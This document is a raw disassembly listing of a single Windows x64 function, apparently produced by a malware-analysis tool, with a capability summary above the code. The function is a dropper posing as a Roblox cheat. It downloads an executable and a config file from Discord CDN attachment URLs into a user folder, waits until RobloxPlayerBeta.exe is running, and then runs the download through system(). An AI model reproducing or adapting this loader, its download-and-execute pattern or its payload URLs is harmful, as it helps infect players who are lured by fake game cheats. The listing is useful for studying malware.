Function at 0x140001390
Capabilities:
Create directory
Download url
Enumerate processes
Execute command
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor esi, esi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], si
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140005510]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140001ae1
mov r9, qword [rsp + 0x30]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], 0
jne 0x140001410
mov rax, qword [rbp - 0x68]
cmp rdx, rax
ja 0x14000144d
lea rdi, [rbp - 0x80]
cmp rax, 7
cmova rdi, qword [rbp - 0x80]
mov qword [rbp - 0x70], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], si
jmp 0x140001456
lea rcx, [rbp - 0x80]
call fcn.140003670
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r8, str.imnewrs_
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.140003050
nop
lea r8, str.rewrite.exe
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.140003050
nop
lea r8, str.config.json
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.140003050
nop
lea rcx, [rsp + 0x60]
call fcn.140001290
test al, al
je 0x1400014c0
lea rcx, [rbp - 0x40]
call fcn.140001290
test al, al
jne 0x140001614
lea rdx, str.gimme_a_min
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400031e0
mov rcx, rax
lea rdx, [0x1400033c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.https:__cdn.discordapp.com_attachments_1191275616020992041_1194166290097647657_cant_find_me_lol_im_4_years_old_hiding_in_ur_pc_like_a_rat.exe_ex65af5d06is659ce806hm97e1de3762f672c4b619b149d3cd10dfdce41283ac4b844efe45654977b75e93
lea rcx, [rbp + 8]
call fcn.1400028d0
nop
lea rdx, str.https:__cdn.discordapp.com_attachments_1191275616020992041_1194166088917856336_config.json_ex65af5cd6is659ce7d6hm15bd91973457442c538977f8b2c2cf7a30fa355f25e06c1f553f5bf18d6fcfee
lea rcx, [rsp + 0x38]
call fcn.1400028d0
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova r8, qword [rsp + 0x60]
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rdx, qword [rbp + 8]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r8, qword [rbp - 0x40]
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rdx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x1400015be
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
movdqa xmm0, xmmword [0x140005b70]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x38], si
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140001614
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000160f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000160f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp], eax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edi, 1
lea r14d, [rdi + 0xc]
nop
lea rcx, [0x140005624]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rbp - 0x20]
lea r8, str._Y__m__d__X
mov edx, 0x50
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_wcsftime]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r14w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Can_u_open_roblox_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400031e0
mov rcx, rax
lea rdx, [0x1400033c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x30], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400016eb
xor bl, bl
jmp 0x14000174a
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
nop dword [rax + rax]
lea rdx, str.RobloxPlayerBeta.exe
lea rcx, [rbp + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x140001733
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001700
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
jmp 0x14000174a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140005624]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx ebx, dil
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
test bl, bl
je 0x140001640
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rbp - 0x20]
lea r8, str._Y__m__d__X
mov edx, 0x50
lea rcx, [rbp + 0x310]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_wcsftime]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r14w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140005a3c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400031e0
mov rcx, rax
lea rdx, str.wait
call fcn.1400031e0
mov rcx, rax
lea rdx, [0x1400033c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140005a3c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400031e0
mov rcx, rax
lea rdx, str.OMG_ENJOY__u_can_close_the_console___key_to_lock_is_c_
call fcn.1400031e0
mov rcx, rax
lea rdx, [0x1400033c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
lea r14, [rdx + rax*2]
lea rdi, [rsp + 0x60]
cmova rdi, qword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov ebx, 0xf
mov qword [rsp + 0x50], rbx
cmp rdi, r14
jne 0x140001884
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x38], 0
lea rcx, [rsp + 0x38]
jmp 0x140001998
mov rax, r14
sub rax, rdi
sar rax, 1
mov rdx, rsi
mov qword [rsp + 0x48], rdx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140001b7a
cmp rax, rbx
jbe 0x140001940
mov rbx, rax
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400018f5
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003930
mov rcx, rax
test rax, rax
je 0x1400019d2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x48]
jmp 0x140001931
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000191d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b80
jmp 0x1400018ce
test rcx, rcx
je 0x14000192e
call fcn.140003930
mov rdx, qword [rsp + 0x48]
jmp 0x140001931
mov rax, rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x50], rbx
nop dword [rax + rax]
lea rcx, [rsp + 0x38]
cmp rbx, 0xf
cmova rcx, qword [rsp + 0x38]
movzx eax, byte [rdi]
mov byte [rdx + rcx], al
mov rdx, qword [rsp + 0x48]
inc rdx
mov qword [rsp + 0x48], rdx
add rdi, 2
cmp rdi, r14
je 0x140001972
mov rbx, qword [rsp + 0x50]
jmp 0x140001940
lea rax, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400019df
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140001a22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
movdqa xmm0, xmmword [0x140005b70]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], si
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140001a78
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
movdqa xmm0, xmmword [0x140005b70]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140001ace
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ac9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
movdqa xmm0, xmmword [0x140005b70]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], si
jmp 0x140001b09
lea rdx, str.Failed_Dm__inactive
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002e40
mov rcx, rax
lea rdx, [0x140003010]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140001b4c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000396c
mov eax, esi
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140003910
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3